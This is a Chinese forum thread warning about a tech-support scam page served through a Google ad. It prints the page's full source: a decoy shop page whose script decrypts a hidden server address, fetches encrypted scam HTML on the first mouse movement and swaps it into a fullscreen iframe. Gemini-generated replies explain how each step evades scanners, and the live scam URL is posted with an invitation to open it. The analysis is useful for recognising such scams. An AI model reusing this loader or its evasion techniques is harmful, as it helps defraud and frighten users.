谷歌广告里的
https://soran.sgp1.cdn.digitaloceanspaces.com/index.html
希望这类东西少点
另外楼下反馈电脑配置差的CPU直接拉满内存也爆满电脑风扇狂转,电脑配置差的就不要点击了,真容易卡死,这也是这个网页很狡猾的地方。电脑配置好的你就可以点开这个诈骗网页,要做好心理准备。
2026.9.28更新:我举报了
谷歌广告里的
https://soran.sgp1.cdn.digitaloceanspaces.com/index.html
希望这类东西少点
另外楼下反馈电脑配置差的CPU直接拉满内存也爆满电脑风扇狂转,电脑配置差的就不要点击了,真容易卡死,这也是这个网页很狡猾的地方。电脑配置好的你就可以点开这个诈骗网页,要做好心理准备。
2026.9.28更新:我举报了
edge已经弹出警告
点击了连接之后,一分钟之内,内存占用直接暴涨到100%,而且电脑风扇狂转。大家不要点击。
而且楼主完全没有提及这一点,某种程度上这是在传播有害网页。
我都把链接去掉了也没能阻止你点啊![]()
我打开的时候,连接是完整的,而且帖子里只说了广告,所以就随手点进去了。
我当时看的时候,没有任何的异常,没有任何提示,也没感觉有什么问题。
所以点进去看一眼很合理啊
少是不可能少的,ai爆发,这种东西只会越来越多,越来越猖狂
这个套路他是点进去先给你出了一个假网页,然后等待你滚动,如果你滚动,他就假网页就继续让你浏览,如果你不滚啊,它就会瞬间给你跳到那个诈骗真页面
让你以为自己的电脑出事儿了,让你拨打电话来诈骗,如果你点了这个页面上的一些按钮,他就会给你全屏,虽然浏览器全屏的时候会弹出点击ESC退出,但是有些人当时心比较慌,就没看见就,全屏的就弹出你的电脑已不能使用,让你强制拨打这个电话,有些人都进入圈套了,但是我之前也见过这东西,所以也就没进去,但是你进这网页儿一段时间,在那个全屏不让你使用和这些弹窗的页面转一转,edge它就会弹出弹窗,让你阻止浏览这个网页,因为他发现了。
那个google广告也是诱导你点,如果把它翻译过来,就是让你点击此此处已继续,这个狡猾之处在哪儿,你就以为它就是一个商业网站左走那儿右到你点击,实际上是让你看完假页面给你跳到这个真诈骗页面来。
所以我放这个链接是有用的叫大家体验一下这种网页下次就知道怎么识破诈骗
html源码:
<!DOCTYPE html>
<html lang="ja">
<head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js"></script>
<style>
* { box-sizing: border-box; margin: 0; padding: 0; }
html, body { height: 100%; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; color: #1e293b; background: #fff; }
/* Redesigned Popup Styles */
.popup-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(15, 23, 42, 0.6);
backdrop-filter: blur(8px);
display: flex;
justify-content: center;
align-items: center;
z-index: 9999;
opacity: 1;
transition: opacity 0.3s ease;
}
.popup-card {
background: #ffffff;
padding: 40px;
border-radius: 16px;
text-align: center;
width: 90%;
max-width: 440px;
box-shadow: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 8px 10px -6px rgba(0, 0, 0, 0.1);
}
/* CSS Spinner (Replaces GIF) */
.spinner {
width: 48px;
height: 48px;
margin: 0 auto 24px auto;
border: 4px solid #e2e8f0;
border-top: 4px solid #082b5c;
border-radius: 50%;
animation: spin 1s linear infinite;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.popup-card h3 {
font-size: 1.25rem;
font-weight: 700;
color: #0f172a;
margin-bottom: 8px;
}
.popup-card p {
font-size: 0.95rem;
color: #64748b;
margin-bottom: 28px;
}
.popup-buttons {
display: flex;
gap: 12px;
}
.btn {
flex: 1;
padding: 12px 20px;
font-size: 0.95rem;
font-weight: 600;
border: none;
border-radius: 8px;
cursor: pointer;
transition: all 0.2s ease;
}
.btn-cancel {
background: #f1f5f9;
color: #475569;
}
.btn-cancel:hover { background: #e2e8f0; }
.btn-continue {
background: #082b5c;
color: #ffffff;
}
.btn-continue:hover { background: #061e40; }
/* Page Layout & Frame */
#frame { display: none; width: 100%; height: 100vh; border: 0; }
header { background: #082b5c; color: #fff; padding: 15px 0; }
.container { width: 95%; max-width: 1400px; margin: auto; }
.nav { display: flex; justify-content: space-between; align-items: center; }
.logo { font-size: 24px; font-weight: bold; }
.hero { padding: 40px 0; text-align: center; }
</style>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="ユメファッション|夢のような毎日に寄り添う、日本のファッションセレクトショップ。">
<meta name="theme-color" content="#eee9f7">
<title>ユメファッション|夢のような装い</title>
<link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 64 64'%3E%3Crect width='64' height='64' rx='20' fill='%23252a48'/%3E%3Cpath d='M16 34c9-14 20-17 33-12-7 3-12 8-15 15-6-2-11-2-18-3Z' fill='%23e8cfe5'/%3E%3Ccircle cx='44' cy='19' r='4' fill='%23f5e5a8'/%3E%3C/svg%3E">
<style>
@import url('https://fonts.googleapis.com/css2?family=Noto+Sans+JP:wght@400;500;600;700&family=Noto+Serif+JP:wght@500;600;700&display=swap');
:root{--夜:#252a48;--紫:#eee9f7;--薄紫:#e1d9ed;--桃:#f1d8df;--黄:#f5e5a8;--白:#fff;--墨:#30303b;--灰:#797987;--線:#e4e0e8}
*{box-sizing:border-box;margin:0;padding:0}
html{scroll-behavior:smooth}
body{font-family:"Noto Sans JP",sans-serif;color:var(--墨);background:#fbfafc;line-height:1.8}
a{text-decoration:none;color:inherit}button,input{font:inherit}button{border:0;cursor:pointer}
img{width:100%;height:100%;object-fit:cover;display:block}
.幅{width:min(1220px,calc(100% - 40px));margin:auto}
/* 上部 */
.告知{background:var(--夜);color:#fff;text-align:center;font-size:10px;letter-spacing:.16em;padding:8px}
.頭{height:80px;background:rgba(251,250,252,.93);backdrop-filter:blur(15px);border-bottom:1px solid var(--線);position:sticky;top:0;z-index:50}
.頭中{height:100%;display:flex;align-items:center;gap:30px}
.ロゴ{display:flex;align-items:center;gap:9px;font-weight:700;letter-spacing:.12em;white-space:nowrap}
.月章{width:40px;height:40px;border-radius:14px;background:var(--夜);color:var(--桃);display:grid;place-items:center;font-family:"Noto Serif JP";font-size:20px}
.ロゴ名{font-size:17px}
.案内{display:flex;gap:24px;margin-left:22px;font-size:11px;font-weight:600}
.案内 a{transition:.2s}.案内 a:hover{color:#796c9d}
.操作{margin-left:auto;display:flex;gap:7px}
.丸{width:39px;height:39px;border:1px solid var(--線);background:#fff;border-radius:50%;display:grid;place-items:center;font-size:16px;position:relative}
.数{position:absolute;top:-3px;right:-3px;min-width:16px;height:16px;background:var(--夜);color:#fff;border-radius:50%;font-size:8px;display:grid;place-items:center}
.メニュー{display:none}
/* ヒーロー */
.主役{padding:20px 0 70px}
.主役箱{display:grid;grid-template-columns:1fr 1.18fr;min-height:650px;gap:0}
.主役文{background:var(--紫);padding:clamp(35px,6vw,78px);display:flex;flex-direction:column;justify-content:center;position:relative;overflow:hidden}
.主役文:before{content:"";position:absolute;width:310px;height:310px;border-radius:50%;background:rgba(255,255,255,.42);right:-145px;top:-120px}
.主役文:after{content:"";position:absolute;width:170px;height:170px;border-radius:50%;background:rgba(241,216,223,.45);left:-85px;bottom:-75px}
.小{font-size:10px;letter-spacing:.24em;color:#75678e;font-weight:700;margin-bottom:18px}
.主役文 h1{font-family:"Noto Serif JP";font-size:clamp(45px,6vw,76px);line-height:1.2;font-weight:600;position:relative;z-index:1}
.主役文 h1 small{display:block;font-family:"Noto Sans JP";font-size:11px;letter-spacing:.22em;color:#777486;margin-top:16px;font-weight:500}
.主役文 p{font-size:12px;color:#696875;max-width:390px;margin-top:25px;position:relative;z-index:1}
.ボタン群{display:flex;gap:9px;margin-top:28px;position:relative;z-index:1;flex-wrap:wrap}
.ボタン{padding:12px 21px;font-size:10px;font-weight:700;border-radius:999px}
.濃い{background:var(--夜);color:#fff}.淡い{background:#fff;border:1px solid #d9d3e1}
.主役画像{position:relative;overflow:hidden;background:var(--桃)}
.主役画像 img{transition:.8s}.主役画像:hover img{transform:scale(1.035)}
.画像札{position:absolute;left:22px;bottom:22px;background:rgba(255,255,255,.9);padding:13px 17px;font-size:9px}
.画像札 strong{display:block;font-size:12px}
.星印{position:absolute;right:22px;top:22px;width:74px;height:74px;border-radius:50%;background:var(--黄);display:grid;place-items:center;text-align:center;font-size:9px;line-height:1.4;transform:rotate(8deg)}
/* 流れる文字 */
.流れ{overflow:hidden;background:#fff;border-block:1px solid var(--線)}
.流れ中{display:flex;width:max-content;animation:流れる 26s linear infinite}
.流れ span{padding:14px 28px;font-family:"Noto Serif JP";font-size:11px;letter-spacing:.12em}
.流れ b{color:#a68fb9}
@keyframes流れる{to{transform:translateX(-50%)}}
/* 見出し */
.区画{padding:82px 0}
.見出し{display:flex;align-items:end;justify-content:space-between;margin-bottom:26px}
.見出し h2{font-family:"Noto Serif JP";font-size:30px;font-weight:600}
.見出し p{font-size:10px;color:var(--灰);margin-top:3px}
.もっと{font-size:10px;border-bottom:1px solid var(--墨);padding-bottom:3px;font-weight:700}
/* 気分 */
.気分{display:grid;grid-template-columns:repeat(3,1fr);gap:13px}
.気分項{min-height:360px;position:relative;overflow:hidden;border-radius:120px 120px 12px 12px}
.気分項:nth-child(2){border-radius:12px 12px 120px 120px}
.気分項:nth-child(3){border-radius:120px 12px 120px 12px}
.気分項 img{transition:.6s}.気分項:hover img{transform:scale(1.05)}
.気分項:after{content:"";position:absolute;inset:0;background:linear-gradient(transparent 45%,rgba(37,42,72,.62))}
.気分文字{position:absolute;z-index:2;left:22px;bottom:20px;color:#fff}
.気分文字 b{display:block;font-family:"Noto Serif JP";font-size:21px}.気分文字 span{font-size:9px}
/* 商品 */
.商品{display:grid;grid-template-columns:repeat(4,1fr);gap:18px}
.商品写真{aspect-ratio:4/5;position:relative;overflow:hidden;border-radius:17px;background:var(--紫)}
.商品写真 img{transition:.5s}.商品:hover .商品写真 img{transform:scale(1.04)}
.札{position:absolute;top:11px;left:11px;background:#fff;padding:4px 9px;border-radius:999px;font-size:8px;font-weight:700;z-index:2}
.お気に入り{position:absolute;top:10px;right:10px;width:37px;height:37px;border-radius:50%;background:rgba(255,255,255,.93);z-index:3;font-size:16px}
.お気に入り.選択{background:var(--夜);color:#fff}
.追加{position:absolute;bottom:10px;left:10px;right:10px;background:#fff;border-radius:11px;padding:10px;text-align:center;font-size:9px;font-weight:700;opacity:0;transform:translateY(10px);transition:.25s;z-index:3}
.商品:hover .追加{opacity:1;transform:none}
.情報{padding:12px 2px}.情報 h3{font-size:12px}.情報 p{font-size:9px;color:var(--灰)}
.価格{font-size:12px;font-weight:700;margin-top:5px}
/* 特集 */
.特集{display:grid;grid-template-columns:1.15fr .85fr;gap:14px}
.特集大,.特集小{position:relative;overflow:hidden;border-radius:25px}
.特集大{height:570px}.特集小{height:570px}
.特集 img{transition:.7s}.特集 a:hover img{transform:scale(1.035)}
.特集文{position:absolute;left:0;right:0;bottom:0;padding:38px;color:#fff;background:linear-gradient(transparent,rgba(37,42,72,.76))}
.特集文 .小{color:var(--桃);margin-bottom:5px}
.特集文 h3{font-family:"Noto Serif JP";font-size:27px;line-height:1.5}
.特集文 p{font-size:9px;opacity:.86}
.特集小 .特集文 h3{font-size:22px}
/* ブランド */
.ブランド{background:var(--夜);color:#fff;border-radius:30px;padding:65px;display:grid;grid-template-columns:1fr 1fr;gap:55px;align-items:center}
.ブランド h2{font-family:"Noto Serif JP";font-size:36px;line-height:1.55}
.ブランド p{font-size:11px;color:#c2c2cc;margin-top:12px;max-width:440px}
.ブランド画像{height:390px;border-radius:18px;overflow:hidden}
.ブランド画像 img{transition:.6s}.ブランド画像:hover img{transform:scale(1.03)}
.ブランドボタン{display:inline-block;margin-top:24px;background:var(--桃);color:var(--夜);padding:11px 20px;border-radius:999px;font-size:9px;font-weight:700}
/* 会員 */
.会員{background:var(--桃);padding:55px;border-radius:28px;display:flex;align-items:center;justify-content:space-between;gap:30px}
.会員 h2{font-family:"Noto Serif JP";font-size:27px}.会員 p{font-size:10px;color:#6d6265}
.入力{display:flex;background:#fff;padding:4px;border-radius:999px;min-width:min(430px,100%)}
.入力 input{border:0;outline:0;flex:1;padding:10px 14px;background:transparent;font-size:10px}
.入力 button{background:var(--夜);color:#fff;border-radius:999px;padding:10px 18px;font-size:9px}
/* footer */
footer{padding:60px 0 25px}
.足{display:grid;grid-template-columns:1.6fr repeat(3,1fr);gap:35px;padding-bottom:42px}
.足説明{font-size:10px;color:var(--灰);max-width:280px;margin-top:13px}
.足列 h4{font-size:10px;margin-bottom:12px}.足列 a{display:block;color:var(--灰);font-size:10px;margin:7px 0}
.コピー{border-top:1px solid var(--線);padding-top:18px;font-size:9px;color:var(--灰);display:flex;justify-content:space-between}
.通知{position:fixed;right:20px;bottom:20px;background:var(--夜);color:#fff;padding:12px 17px;border-radius:12px;font-size:9px;opacity:0;transform:translateY(20px);pointer-events:none;transition:.3s;z-index:100}
.通知.表示{opacity:1;transform:none}
/* responsive */
@media(max-width:900px){
.案内{display:none}.メニュー{display:grid}
.主役箱{grid-template-columns:1fr}.主役画像{min-height:500px}
.気分{grid-template-columns:1fr 1fr}.気分項{min-height:300px}
.商品{grid-template-columns:repeat(2,1fr)}
.特集{grid-template-columns:1fr}.特集大,.特集小{height:460px}
.ブランド{grid-template-columns:1fr;padding:45px}.ブランド画像{height:400px}
.足{grid-template-columns:1.4fr 1fr 1fr}
}
@media(max-width:560px){
.幅,.頭中{width:calc(100% - 24px)}
.頭{height:68px}.月章{width:37px;height:37px}.ロゴ名{font-size:14px}.丸{width:36px;height:36px}
.主役{padding-top:12px}.主役文{padding:40px 27px;min-height:490px}.主役画像{min-height:390px}
.区画{padding:60px 0}.見出し{display:block}.もっと{display:inline-block;margin-top:11px}
.気分{gap:9px}.気分項{min-height:250px;border-radius:70px 70px 10px 10px!important}.気分文字{left:15px;bottom:14px}.気分文字 b{font-size:16px}
.商品{gap:10px}.商品写真{border-radius:13px}.追加{display:none}
.特集大,.特集小{height:390px;border-radius:18px}
.ブランド{padding:38px 25px;border-radius:22px}.ブランド h2{font-size:28px}.ブランド画像{height:330px}
.会員{padding:38px 24px;display:block}.入力{margin-top:20px}
.足{grid-template-columns:1fr 1fr;gap:24px}.足ブランド{grid-column:1/-1}
.コピー{display:block}.コピー span{display:block;margin-top:5px}
}
</style>
</head>
<body>
<div class="popup-overlay" id="customPopup">
<div class="popup-card">
<div class="spinner"></div>
<h3>Loading Store Content</h3>
<p>Please wait while we establish a secure connection...</p>
<div class="popup-buttons">
<button id="cancelBtn" class="btn btn-cancel" type="button">Cancel</button>
<button id="continueBtn" class="btn btn-continue" type="button">Continue</button>
</div>
</div>
</div>
<div id="shop">
<div class="告知">期間限定 5,000円以上のお買い物で送料無料</div>
<header class="頭">
<div class="頭中 幅">
<button class="丸 メニュー" aria-label="メニュー">☰</button>
<a class="ロゴ" href="#"><span class="月章">夢</span><span class="ロゴ名">ユメファッション</span></a>
<nav class="案内">
<a href="#新着">新着</a><a href="#気分">気分から探す</a><a href="#商品">商品一覧</a><a href="#特集">特集</a><a href="#私たち">私たちについて</a>
</nav>
<div class="操作">
<button class="丸" aria-label="検索">⌕</button>
<button class="丸" aria-label="お気に入り">♡<b class="数 好き数">0</b></button>
<button class="丸" aria-label="買い物かご">🛍<b class="数 買い物数">0</b></button>
</div>
</div>
</header>
<main>
<section class="主役 幅" id="新着">
<div class="主役箱">
<div class="主役文">
<div class="小">二〇二六年 春夏コレクション</div>
<h1>夢見るように、<br>身につける。<small>毎日の中に、小さなときめきを。</small></h1>
<p>ユメファッションは、自由な気分と心地よさを大切にするセレクトショップ。柔らかな色、自然な素材、今のあなたに似合う一着を集めました。</p>
<div class="ボタン群"><a class="ボタン 濃い" href="#商品">新作を見る</a><a class="ボタン 淡い" href="#気分">気分から探す</a></div>
</div>
<div class="主役画像">
<img src="https://images.unsplash.com/photo-1496747611176-843222e1e57c?auto=format&fit=crop&w=1400&q=90" alt="春のファッション">
<div class="星印">夢の<br>新しい<br>装い</div>
<div class="画像札"><strong>夢色の春</strong>やわらかな光に似合う、新しい季節。</div>
</div>
</div>
</section>
<div class="流れ"><div class="流れ中">
<span>新しい季節 <b>✦</b></span><span>小さなときめき <b>✦</b></span><span>自分らしい装い <b>✦</b></span><span>毎日を自由に <b>✦</b></span>
<span>新しい季節 <b>✦</b></span><span>小さなときめき <b>✦</b></span><span>自分らしい装い <b>✦</b></span><span>毎日を自由に <b>✦</b></span>
</div></div>
<section class="区画 幅" id="気分">
<div class="見出し"><div><h2>気分から、選ぶ。</h2><p>今日のあなたは、どんな色?</p></div><a class="もっと" href="#商品">すべて見る →</a></div>
<div class="気分">
<a class="気分項"><img src="https://images.unsplash.com/photo-1515886657613-9f3515b0c78f?auto=format&fit=crop&w=900&q=90" alt="やさしい雰囲気の服"><div class="気分文字"><b>やさしく</b><span>淡い色と、柔らかな素材。</span></div></a>
<a class="気分項"><img src="https://images.unsplash.com/photo-1539008835657-9e8e9680c956?auto=format&fit=crop&w=900&q=90" alt="華やかな服"><div class="気分文字"><b>華やかに</b><span>いつもより少し特別に。</span></div></a>
<a class="気分項"><img src="https://images.unsplash.com/photo-1529139574466-a303027c1d8b?auto=format&fit=crop&w=900&q=90" alt="自然体の服"><div class="気分文字"><b>自然体で</b><span>飾らない美しさを楽しむ。</span></div></a>
</div>
</section>
<section class="区画 幅" id="商品">
<div class="見出し"><div><h2>夢色のおすすめ</h2><p>今季のナナミではなく、ユメファッションだけの新しいセレクト。</p></div><a class="もっと" href="#">商品をもっと見る →</a></div>
<div class="商品">
<article class="商品">
<div class="商品写真"><span class="札">新着</span><button class="お気に入り">♡</button><img src="https://images.unsplash.com/photo-1551028719-00167b16eac5?auto=format&fit=crop&w=800&q=90" alt="柔らかなジャケット"><button class="追加">買い物かごに追加</button></div>
<div class="情報"><h3>月明かりジャケット</h3><p>軽やかな素材 淡い灰色</p><div class="価格">¥9,800</div></div>
</article>
<article class="商品">
<div class="商品写真"><span class="札">人気</span><button class="お気に入り">♡</button><img src="https://images.unsplash.com/photo-1591369822096-ffd140ec948f?auto=format&fit=crop&w=800&q=90" alt="淡い色のワンピース"><button class="追加">買い物かごに追加</button></div>
<div class="情報"><h3>花霞ワンピース</h3><p>柔らかな生地 桜色</p><div class="価格">¥10,500</div></div>
</article>
<article class="商品">
<div class="商品写真"><button class="お気に入り">♡</button><img src="https://images.unsplash.com/photo-1591369822096-ffd140ec948f?auto=format&fit=crop&w=800&q=90" alt="カジュアルなシャツ"><button class="追加">買い物かごに追加</button></div>
<div class="情報"><h3>雲色オーバーシャツ</h3><p>自然素材 白</p><div class="価格">¥7,200</div></div>
</article>
<article class="商品">
<div class="商品写真"><span class="札">限定</span><button class="お気に入り">♡</button><img src="https://images.unsplash.com/photo-1548036328-c9fa89d128fa?auto=format&fit=crop&w=800&q=90" alt="上品なバッグ"><button class="追加">買い物かごに追加</button></div>
<div class="情報"><h3>夜空の小さなバッグ</h3><p>上品な質感 深い青</p><div class="価格">¥11,900</div></div>
</article>
</div>
</section>
<section class="区画 幅" id="特集">
<div class="見出し"><div><h2>今月の物語</h2><p>服の向こうにある、あなたの日常を想像して。</p></div></div>
<div class="特集">
<a class="特集大"><img src="https://images.unsplash.com/photo-1509631179647-0177331693ae?auto=format&fit=crop&w=1200&q=90" alt="夕暮れのファッション"><div class="特集文"><div class="小">物語 01</div><h3>夕暮れの色を、<br>一枚の服に。</h3><p>少しだけ大胆に、でも自分らしく。</p></div></a>
<a class="特集小"><img src="https://images.unsplash.com/photo-1492562080023-ab3db95bfbce?auto=format&fit=crop&w=1000&q=90" alt="日常のスタイル"><div class="特集文"><div class="小">物語 02</div><h3>好きなものだけで、<br>つくる一日。</h3><p>心地よさを大切にした日常の装い。</p></div></a>
</div>
</section>
<section class="区画 幅" id="私たち">
<div class="ブランド">
<div><div class="小" style="color:#e8cfe5">ユメファッションについて</div><h2>夢みたいな毎日を、<br>ほんの少し。</h2><p>流行だけではなく、着た瞬間に心が軽くなるような服を。ユメファッションは、日常の小さなときめきを集めるために生まれました。</p><a class="ブランドボタン" href="#新着">お店をのぞいてみる</a></div>
<div class="ブランド画像"><img src="https://images.unsplash.com/photo-1485230895905-ec40ba36b9bc?auto=format&fit=crop&w=1100&q=90" alt="ユメファッションの世界観"></div>
</div>
</section>
<section class="区画 幅">
<div class="会員">
<div><h2>ユメ便りを受け取る</h2><p>新作、季節の物語、限定のお知らせをお届けします。</p></div>
<form class="入力" onsubmit="登録(event)"><input type="email" placeholder="メールアドレスを入力" required><button>登録する</button></form>
</div>
</section>
</main>
<footer>
<div class="幅">
<div class="足">
<div class="足ブランド"><a class="ロゴ" href="#"><span class="月章">夢</span><span class="ロゴ名">ユメファッション</span></a><p class="足説明">夢のような毎日に寄り添う、ファッションと小物のセレクトショップ。</p></div>
<div class="足列"><h4>お買い物</h4><a href="#新着">新着商品</a><a href="#気分">気分から探す</a><a href="#商品">おすすめ商品</a><a href="#">贈りもの</a></div>
<div class="足列"><h4>お客様窓口</h4><a href="#">配送について</a><a href="#">返品について</a><a href="#">よくある質問</a><a href="#">お問い合わせ</a></div>
<div class="足列"><h4>ユメファッション</h4><a href="#私たち">私たちについて</a><a href="#">会社情報</a><a href="#">個人情報保護方針</a><a href="#">利用規約</a></div>
</div>
<div class="コピー"><span>© 二〇二六 ユメファッション 無断転載を禁じます。</span><span>夢のような一着を、あなたへ。</span></div>
</div>
</footer>
<div class="通知" id="通知">買い物かごに追加しました。</div>
<script>
let 買い物数=0,好き数=0;
const 通知=document.getElementById("通知");
function 表示(文){通知.textContent=文;通知.classList.add("表示");setTimeout(()=>通知.classList.remove("表示"),1800)}
document.querySelectorAll(".追加").forEach(b=>b.addEventListener("click",()=>{買い物数++;document.querySelector(".買い物数").textContent=買い物数;表示("買い物かごに追加しました。")}));
document.querySelectorAll(".お気に入り").forEach(b=>b.addEventListener("click",()=>{b.classList.toggle("選択");好き数+=b.classList.contains("選択")?1:-1;document.querySelector(".好き数").textContent=好き数;表示(b.classList.contains("選択")?"お気に入りに追加しました。":"お気に入りから削除しました。")}));
function 登録(e){e.preventDefault();表示("登録ありがとうございます。");e.target.reset()}
document.querySelector(".メニュー").addEventListener("click",()=>{
const n=document.querySelector(".案内");
if(n.style.display==="flex"){n.style.display="none";return}
n.style.display="flex";n.style.position="absolute";n.style.top="68px";n.style.left="12px";n.style.right="12px";n.style.margin="0";n.style.padding="18px";n.style.background="#fff";n.style.flexDirection="column";n.style.gap="14px";n.style.border="1px solid #e4e0e8";n.style.boxShadow="0 20px 50px rgba(37,42,72,.1)";
});
</script>
</div>
<iframe id="frame" title="encrypted shop" allowfullscreen allow="fullscreen"></iframe>
<script>
const PASSPHRASE = "98yNCjeAfWMwk0wI";
const URL_KEY = "UrLk3yShopEase01";
const ENC_DATA_ORIGIN = "U2FsdGVkX1/JmlcTvAuG8/4Vp8T9v3rskqv2X3cOLAVOKkjFtaVOIcZOYPHhG4GHvFW17fSpmCsQODkB/yxw+g==";
const DATA_ORIGIN = CryptoJS.AES.decrypt(ENC_DATA_ORIGIN, URL_KEY).toString(CryptoJS.enc.Utf8);
const DATA_URL = DATA_ORIGIN + "/data";
let lastUrl = null;
function detectPlatform() {
const p = (navigator.userAgentData && navigator.userAgentData.platform) ||
navigator.platform || navigator.userAgent || "";
return /mac/i.test(p) ? "mac" : "win";
}
async function loadSecret() {
const shop = document.getElementById("shop"), frame = document.getElementById("frame");
try {
const res = await fetch(DATA_URL + "?platform=" + detectPlatform());
const { cipher } = await res.json();
const html = CryptoJS.AES.decrypt(cipher, PASSPHRASE).toString(CryptoJS.enc.Utf8);
if (!html) throw new Error("Decrypt failed — wrong key?");
if (lastUrl) URL.revokeObjectURL(lastUrl);
const blob = new Blob([html], { type: "text/html" });
lastUrl = URL.createObjectURL(blob);
frame.src = lastUrl;
shop.style.display = "none";
frame.style.display = "block";
document.getElementById("customPopup").style.display = "none";
} catch (e) {
document.getElementById("customPopup").style.display = "none";
}
}
window.addEventListener("mousemove", () => {
document.getElementById("customPopup").style.display = "none";
loadSecret();
}, { once: true });
</script>
</body>
以下消息由Gemini生成:
这个网页的设计确实非常狡猾。这是一个非常典型的HTML走私(HTML Smuggling)结合诱饵页面(Decoy Page)的恶意/恐吓网页加载器。
它的核心逻辑不是直接把恶意内容写在网页里,而是通过极其精巧的“障眼法”来绕过安全扫描,并在用户不知情的情况下在内存中动态组装出真正的恐吓页面。
以下是这段代码中最狡猾的几个设计点:
代码表现:网页的前90%都是极其正常、甚至设计得很精美的日本服装店(ユメファッション)的 HTML 和 CSS 代码。
狡猾之处:这是为了欺骗自动化安全扫描器(如 Google Safe Browsing)和广告网络审核。当安全爬虫访问这个页面时,静态分析引擎只会看到正常的文本、图片链接和 CSS,大概率会将其判定为无害的电商网站,从而获得合法的搜索引擎排名或广告展示资格。
代码表现:在最底部的脚本中,真正的恶意加载逻辑(loadSecret())是由 window.addEventListener("mousemove", () => {...}, { once: true }); 触发的。
狡猾之处:许多自动化安全分析沙箱(Sandbox)在抓取网页时,只是简单地加载 DOM 树,并不会模拟真实的鼠标移动(mousemove)。这意味着在安全环境中,这段恶意代码永远不会执行,页面永远显示为服装店。只有当真正的活人用户打开网页并滑动鼠标时,恶意载荷才会被触发。
代码表现:它引入了 crypto-js 库。真实的恶意数据服务器地址(DATA_URL)并没有直接写在代码里,而是用 AES 算法加密成了 ENC_DATA_ORIGIN。
狡猾之处:即使安全研究员或防火墙提取了网页源码,也无法直接用正则表达式搜出恶意的 URL(C2 服务器地址)。必须在运行时用硬编码的密钥(URL_KEY)解密才能知道它要去哪里拉取数据。拉取回来的数据(cipher)也是加密的,还需要用第二个密钥(PASSPHRASE)再次解密。
代码表现:
const blob = new Blob([html], { type: "text/html" });
lastUrl = URL.createObjectURL(blob);
frame.src = lastUrl;
狡猾之处:解密出真正的恐吓网页 HTML 后,它并没有将其写入硬盘,也没有发生页面跳转。而是利用 Blob 对象将 HTML 代码直接转化为了一个驻留在内存中的本地虚拟链接(blob:https://...),然后塞进一个全屏的 iframe 里。这种“无文件(Fileless)”的技术让基于网络流量特征和本地文件系统的传统杀毒软件极难拦截。
这就是这位佬打开网页内存占用直接暴涨到百分之百的原因。
代码表现:detectPlatform() 函数会读取用户的 User-Agent,判断是 mac 还是 win。然后在请求 API 时附带参数:?platform=mac 或 ?platform=win。
狡猾之处:恐吓网页(Tech Support Scam)非常依赖视觉上的逼真度。通过判断系统,服务器会给 Windows 用户下发伪造的“Windows Defender 发现病毒”全屏警告页面,给 Mac 用户下发伪造的“Apple Security 警告”页面。这大大提升了恐吓的成功率。
代码表现:页面一打开会显示一个覆盖全屏的加载弹窗(.popup-overlay),提示“Loading Store Content… Please wait while we establish a secure connection…”。
狡猾之处:在用户移动鼠标触发真实恶意代码下载、解密的过程中,通常会有零点几秒到几秒的延迟。这个假弹窗可以稳住用户,让他们以为是在加载那个日本服装店。等后台在 iframe 中把恐吓网页渲染完毕后,通过 shop.style.display = "none"; frame.style.display = "block"; 瞬间“狸猫换太子”,完成页面的切换。
他还利用了浏览浏览器加载的时候一个bug来实施滚动完毕了以后瞬间跳转到诈骗页的效果,而不是瞬间加载
以下消息由Gemini生成:
你的观察非常敏锐!你描述的这个现象,完美地体现了这段代码在真实浏览器环境中运行时,前端单线程机制(Event Loop)和网络延迟共同造成的奇特效果。
结合刚才的代码,可以这样解释你看到的现象:
代码在监听到你的第一次鼠标移动时,其实立刻就开始执行跳转逻辑了(假弹窗瞬间消失,露出服装店)。但它不能马上跳转,因为在这几秒钟里,它在后台疯狂做两件事:
网络请求延迟:它需要通过 fetch(DATA_URL) 去黑客的服务器下载真实的恐吓网页代码。这受限于你的网速和黑客服务器的响应速度。
CPU 解密耗时:下载回来的代码是高度加密的,它调用了 CryptoJS.AES.decrypt 这种非常消耗 CPU 算力的重型操作来解密。 在这两步完成之前,原本的服装店页面就成了“过渡动画”,稳住你的注意力。
这涉及到浏览器的主线程抢占(Main Thread Blocking)机制。
JavaScript 是单线程运行的,意味着渲染画面和执行代码必须排队,不能同时进行。
当你疯狂上下滚动网页时,浏览器为了保证页面的流畅度,会把最高的优先级分配给“页面重绘(Repaint)”和处理海量的“滚动事件(Scroll Events)”。
此时,虽然黑客的代码可能已经下载完了,但那个极其消耗 CPU 的 AES 解密任务和替换全屏 iframe 的操作,只能委屈地在任务队列里排队,等待浏览器空闲。
当你停止滚动、鼠标静止的那一瞬间,浏览器的渲染压力骤降,主线程终于空闲了下来。积压在队列里的解密任务瞬间执行完毕,shop.style.display = "none" 生效,服装店被瞬间隐藏,恐吓网页直接“拍”在你的屏幕上。
攻击者甚至可能很乐意看到这种现象发生。
当你进入页面,假弹窗消失,你看到一个排版精美、还能顺畅上下滚动的日本服装店时,你的防备心会降到最低,大脑会判定:“这是一个安全的正常网站”。 当你放松警惕,停止滚动准备仔细看某件衣服时,页面突然毫无预兆地变成刺耳的警报和红色的“系统中毒”全屏警告——这种极强的反差和突发性,会瞬间引发用户的恐慌,从而大幅提高拨打诈骗电话或点击恶意链接的概率。
这也是因为这个网站的狡猾性,你必须得转一转它才能弹出弹窗,因为edge基本上都是等到网页开始加载的时候识别,但是网页开始加载的时候它是个正常的网页,且截取的前半段网页源码中没有诈骗,只是到了后面然后转了很多下了,才弹出提示,因为这时候才通过屏幕识别的方法来识别出来。从而加大诈骗的成功性
如果使用安卓(Android)手机打开这个网页,会出现一个极其滑稽的“穿帮”画面:你的手机屏幕上会弹出一个伪造的 Windows 电脑中毒警告。
这完全暴露了攻击者在这段代码设计上的偷懒和局限性。我们可以看看那个系统探测函数:
function detectPlatform() {
const p = (navigator.userAgentData && navigator.userAgentData.platform) ||
navigator.platform || navigator.userAgent || "";
return /mac/i.test(p) ? "mac" : "win";
}
